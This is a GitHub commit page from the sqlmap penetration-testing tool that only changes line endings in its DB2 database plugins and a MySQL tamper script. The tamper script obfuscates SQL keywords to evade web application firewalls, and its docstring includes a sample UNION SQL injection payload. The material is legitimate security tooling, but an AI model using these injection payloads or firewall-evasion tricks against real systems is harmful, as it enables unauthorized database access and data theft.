Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 8b7cbe0

Browse files
committed
Replacing CRLF with LF in rest of files
1 parent eea249c commit 8b7cbe0

14 files changed

Lines changed: 12282 additions & 12282 deletions

File tree

plugins/dbms/db2/__init__.py

Lines changed: 34 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -1,34 +1,34 @@
1-
#!/usr/bin/env python
2-
3-
"""
4-
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
5-
See the file 'doc/COPYING' for copying permission
6-
"""
7-
8-
from lib.core.enums import DBMS
9-
from lib.core.settings import DB2_SYSTEM_DBS
10-
from lib.core.unescaper import unescaper
11-
12-
from plugins.dbms.db2.enumeration import Enumeration
13-
from plugins.dbms.db2.filesystem import Filesystem
14-
from plugins.dbms.db2.fingerprint import Fingerprint
15-
from plugins.dbms.db2.syntax import Syntax
16-
from plugins.dbms.db2.takeover import Takeover
17-
from plugins.generic.misc import Miscellaneous
18-
19-
class DB2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
20-
"""
21-
This class defines DB2 methods
22-
"""
23-
24-
def __init__(self):
25-
self.excludeDbsList = DB2_SYSTEM_DBS
26-
27-
Syntax.__init__(self)
28-
Fingerprint.__init__(self)
29-
Enumeration.__init__(self)
30-
Filesystem.__init__(self)
31-
Miscellaneous.__init__(self)
32-
Takeover.__init__(self)
33-
34-
unescaper[DBMS.DB2] = Syntax.unescape
1+
#!/usr/bin/env python
2+
3+
"""
4+
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
5+
See the file 'doc/COPYING' for copying permission
6+
"""
7+
8+
from lib.core.enums import DBMS
9+
from lib.core.settings import DB2_SYSTEM_DBS
10+
from lib.core.unescaper import unescaper
11+
12+
from plugins.dbms.db2.enumeration import Enumeration
13+
from plugins.dbms.db2.filesystem import Filesystem
14+
from plugins.dbms.db2.fingerprint import Fingerprint
15+
from plugins.dbms.db2.syntax import Syntax
16+
from plugins.dbms.db2.takeover import Takeover
17+
from plugins.generic.misc import Miscellaneous
18+
19+
class DB2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
20+
"""
21+
This class defines DB2 methods
22+
"""
23+
24+
def __init__(self):
25+
self.excludeDbsList = DB2_SYSTEM_DBS
26+
27+
Syntax.__init__(self)
28+
Fingerprint.__init__(self)
29+
Enumeration.__init__(self)
30+
Filesystem.__init__(self)
31+
Miscellaneous.__init__(self)
32+
Takeover.__init__(self)
33+
34+
unescaper[DBMS.DB2] = Syntax.unescape

plugins/dbms/db2/enumeration.py

Lines changed: 19 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,20 +1,20 @@
1-
#!/usr/bin/env python
2-
3-
"""
4-
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
5-
See the file 'doc/COPYING' for copying permission
6-
"""
7-
8-
9-
from lib.core.data import logger
10-
from plugins.generic.enumeration import Enumeration as GenericEnumeration
11-
12-
class Enumeration(GenericEnumeration):
13-
def __init__(self):
14-
GenericEnumeration.__init__(self)
15-
16-
def getPasswordHashes(self):
17-
warnMsg = "on DB2 it is not possible to list password hashes"
18-
logger.warn(warnMsg)
19-
1+
#!/usr/bin/env python
2+
3+
"""
4+
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
5+
See the file 'doc/COPYING' for copying permission
6+
"""
7+
8+
9+
from lib.core.data import logger
10+
from plugins.generic.enumeration import Enumeration as GenericEnumeration
11+
12+
class Enumeration(GenericEnumeration):
13+
def __init__(self):
14+
GenericEnumeration.__init__(self)
15+
16+
def getPasswordHashes(self):
17+
warnMsg = "on DB2 it is not possible to list password hashes"
18+
logger.warn(warnMsg)
19+
2020
return {}

plugins/dbms/db2/syntax.py

Lines changed: 69 additions & 69 deletions
Original file line numberDiff line numberDiff line change
@@ -1,69 +1,69 @@
1-
#!/usr/bin/env python
2-
3-
"""
4-
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
5-
See the file 'doc/COPYING' for copying permission
6-
"""
7-
8-
from lib.core.data import logger
9-
from lib.core.exception import SqlmapSyntaxException
10-
from plugins.generic.syntax import Syntax as GenericSyntax
11-
12-
class Syntax(GenericSyntax):
13-
def __init__(self):
14-
GenericSyntax.__init__(self)
15-
16-
@staticmethod
17-
def unescape(expression, quote=True):
18-
if quote:
19-
while True:
20-
index = expression.find("'")
21-
if index == -1:
22-
break
23-
24-
firstIndex = index + 1
25-
index = expression[firstIndex:].find("'")
26-
27-
if index == -1:
28-
raise SqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
29-
30-
lastIndex = firstIndex + index
31-
old = "'%s'" % expression[firstIndex:lastIndex]
32-
unescaped = ""
33-
34-
for i in xrange(firstIndex, lastIndex):
35-
unescaped += "CHR(%d)" % (ord(expression[i]))
36-
if i < lastIndex - 1:
37-
unescaped += "||"
38-
39-
expression = expression.replace(old, unescaped)
40-
else:
41-
expression = "||".join("CHR(%d)" % ord(c) for c in expression)
42-
43-
return expression
44-
45-
@staticmethod
46-
def escape(expression):
47-
logMsg = "escaping %s" % expression
48-
logger.info(logMsg)
49-
while True:
50-
index = expression.find("CHR(")
51-
if index == -1:
52-
break
53-
54-
firstIndex = index
55-
index = expression[firstIndex:].find(")")
56-
57-
if index == -1:
58-
raise SqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
59-
60-
lastIndex = firstIndex + index + 1
61-
old = expression[firstIndex:lastIndex]
62-
oldUpper = old.upper()
63-
oldUpper = oldUpper.lstrip("CHR(").rstrip(")")
64-
oldUpper = oldUpper.split("||")
65-
66-
escaped = "'%s'" % "".join(chr(int(char)) for char in oldUpper)
67-
expression = expression.replace(old, escaped)
68-
69-
return expression
1+
#!/usr/bin/env python
2+
3+
"""
4+
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
5+
See the file 'doc/COPYING' for copying permission
6+
"""
7+
8+
from lib.core.data import logger
9+
from lib.core.exception import SqlmapSyntaxException
10+
from plugins.generic.syntax import Syntax as GenericSyntax
11+
12+
class Syntax(GenericSyntax):
13+
def __init__(self):
14+
GenericSyntax.__init__(self)
15+
16+
@staticmethod
17+
def unescape(expression, quote=True):
18+
if quote:
19+
while True:
20+
index = expression.find("'")
21+
if index == -1:
22+
break
23+
24+
firstIndex = index + 1
25+
index = expression[firstIndex:].find("'")
26+
27+
if index == -1:
28+
raise SqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
29+
30+
lastIndex = firstIndex + index
31+
old = "'%s'" % expression[firstIndex:lastIndex]
32+
unescaped = ""
33+
34+
for i in xrange(firstIndex, lastIndex):
35+
unescaped += "CHR(%d)" % (ord(expression[i]))
36+
if i < lastIndex - 1:
37+
unescaped += "||"
38+
39+
expression = expression.replace(old, unescaped)
40+
else:
41+
expression = "||".join("CHR(%d)" % ord(c) for c in expression)
42+
43+
return expression
44+
45+
@staticmethod
46+
def escape(expression):
47+
logMsg = "escaping %s" % expression
48+
logger.info(logMsg)
49+
while True:
50+
index = expression.find("CHR(")
51+
if index == -1:
52+
break
53+
54+
firstIndex = index
55+
index = expression[firstIndex:].find(")")
56+
57+
if index == -1:
58+
raise SqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
59+
60+
lastIndex = firstIndex + index + 1
61+
old = expression[firstIndex:lastIndex]
62+
oldUpper = old.upper()
63+
oldUpper = oldUpper.lstrip("CHR(").rstrip(")")
64+
oldUpper = oldUpper.split("||")
65+
66+
escaped = "'%s'" % "".join(chr(int(char)) for char in oldUpper)
67+
expression = expression.replace(old, escaped)
68+
69+
return expression
Lines changed: 56 additions & 56 deletions
Original file line numberDiff line numberDiff line change
@@ -1,56 +1,56 @@
1-
#!/usr/bin/env python
2-
3-
"""
4-
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
5-
See the file 'doc/COPYING' for copying permission
6-
"""
7-
8-
import os
9-
import re
10-
11-
from lib.core.common import singleTimeWarnMessage
12-
from lib.core.data import kb
13-
from lib.core.enums import DBMS
14-
from lib.core.enums import PRIORITY
15-
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS
16-
17-
__priority__ = PRIORITY.HIGHER
18-
19-
def dependencies():
20-
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
21-
22-
def tamper(payload, **kwargs):
23-
"""
24-
Adds versioned MySQL comment before each keyword
25-
26-
Example:
27-
* Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
28-
* Output: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa
29-
30-
Requirement:
31-
* MySQL < 5.1
32-
33-
Tested against:
34-
* MySQL 4.0.18, 5.0.22
35-
36-
Notes:
37-
* Useful to bypass several web application firewalls when the
38-
back-end database management system is MySQL
39-
* Used during the ModSecurity SQL injection challenge,
40-
http://modsecurity.org/demo/challenge.html
41-
"""
42-
43-
def process(match):
44-
word = match.group('word')
45-
if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
46-
return match.group().replace(word, "/*!0%s" % word)
47-
else:
48-
return match.group()
49-
50-
retVal = payload
51-
52-
if payload:
53-
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal)
54-
retVal = retVal.replace(" /*!0", "/*!0")
55-
56-
return retVal
1+
#!/usr/bin/env python
2+
3+
"""
4+
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
5+
See the file 'doc/COPYING' for copying permission
6+
"""
7+
8+
import os
9+
import re
10+
11+
from lib.core.common import singleTimeWarnMessage
12+
from lib.core.data import kb
13+
from lib.core.enums import DBMS
14+
from lib.core.enums import PRIORITY
15+
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS
16+
17+
__priority__ = PRIORITY.HIGHER
18+
19+
def dependencies():
20+
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
21+
22+
def tamper(payload, **kwargs):
23+
"""
24+
Adds versioned MySQL comment before each keyword
25+
26+
Example:
27+
* Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
28+
* Output: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa
29+
30+
Requirement:
31+
* MySQL < 5.1
32+
33+
Tested against:
34+
* MySQL 4.0.18, 5.0.22
35+
36+
Notes:
37+
* Useful to bypass several web application firewalls when the
38+
back-end database management system is MySQL
39+
* Used during the ModSecurity SQL injection challenge,
40+
http://modsecurity.org/demo/challenge.html
41+
"""
42+
43+
def process(match):
44+
word = match.group('word')
45+
if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
46+
return match.group().replace(word, "/*!0%s" % word)
47+
else:
48+
return match.group()
49+
50+
retVal = payload
51+
52+
if payload:
53+
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal)
54+
retVal = retVal.replace(" /*!0", "/*!0")
55+
56+
return retVal

0 commit comments

Comments
 (0)